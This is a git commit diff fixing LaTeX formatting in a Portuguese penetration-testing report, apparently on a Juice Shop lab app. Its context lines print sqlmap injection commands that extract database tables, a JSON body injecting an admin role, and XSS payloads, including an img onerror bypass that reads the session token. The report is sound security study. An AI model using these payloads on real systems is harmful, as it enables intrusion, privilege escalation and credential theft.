erros de formatcao
This commit is contained in:
@@ -59,7 +59,7 @@ Utilizámos a política por omissão (\textit{default policy}) para a realizaç
|
||||
|
||||
Adicionalmente, realizámos testes de infraestrutura e mapeamento de vetores utilizando ferramentas especializadas:
|
||||
|
||||
\begin{codeblock}{bash}{}
|
||||
\begin{codeblock}{bash}
|
||||
sqlmap -u "http://192.168.1.1:3000/rest/products/search?q=apple" -p q --level=5 --risk=3 --banner
|
||||
\end{codeblock}
|
||||
|
||||
@@ -96,7 +96,7 @@ Efetuámos testes de manipulação de parâmetros do lado do cliente através da
|
||||
|
||||
Utilizámos o OWASP ZAP para intercetar o tráfego de rede e definir um \textit{breakpoint} no pedido HTTP POST de registo de novos utilizadores. Modificámos o corpo do pedido JSON, injetando manualmente o parâmetro \texttt{"role":"admin"}:
|
||||
|
||||
\begin{codeblock}{json}{}
|
||||
\begin{codeblock}{json}
|
||||
{
|
||||
"email": "johnGomas@gmail.com",
|
||||
"role": "admin",
|
||||
@@ -151,7 +151,7 @@ Durante a auditoria à barra de pesquisa de produtos, validámos a existência d
|
||||
\item \textbf{Injeção HTML:} Introduzimos o valor \texttt{<h1>apple} na pesquisa e verificámos que o resultado foi renderizado no navegador como um título estrutural, confirmando que o código HTML é injetado diretamente na página.
|
||||
\item \textbf{Tentativa com Script Direto:} Inserimos o payload tradicional \texttt{<script>alert("someones gotta do it")</script>apple}. Esta tentativa não foi executada, demonstrando a presença de uma validação simples contra tags explícitas de script.
|
||||
\item \textbf{Evasão com Evento de Erro:} Para contornar a restrição, injetámos uma tag de imagem com um caminho inválido acompanhado do manipulador de eventos \texttt{onerror}:
|
||||
\begin{codeblock}{html}{}
|
||||
\begin{codeblock}{html}
|
||||
<img src="x" onerror="alert('someones gotta do it')">apple
|
||||
\end{codeblock}
|
||||
O filtro falhou ao inspecionar este atributo e o navegador executou o código JavaScript com sucesso quando a imagem falhou o carregamento.
|
||||
@@ -159,7 +159,7 @@ Durante a auditoria à barra de pesquisa de produtos, validámos a existência d
|
||||
|
||||
Adicionalmente, explorámos o mesmo parâmetro de pesquisa recorrendo ao \textit{sqlmap} para validar falhas de injeção SQL, conseguindo extrair com sucesso a estrutura de 22 tabelas da base de dados:
|
||||
|
||||
\begin{codeblock}{bash}{}
|
||||
\begin{codeblock}{bash}
|
||||
sqlmap -u "http://10.60.0.1:3000/rest/products/search?q=apple" -p q --dbms=sqlite --prefix="'%" --suffix="%'--" --tables --batch
|
||||
|
||||
[22 tables]
|
||||
@@ -199,7 +199,7 @@ Validámos que o token de sessão (JWT) do utilizador autenticado está armazena
|
||||
|
||||
Utilizando a falha de XSS identificada anteriormente na barra de pesquisas, injetámos o seguinte payload direcionado:
|
||||
|
||||
\begin{codeblock}{html}{}
|
||||
\begin{codeblock}{html}
|
||||
<img src="x" onerror="alert(localStorage.getItem('token'))">apple
|
||||
\end{codeblock}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user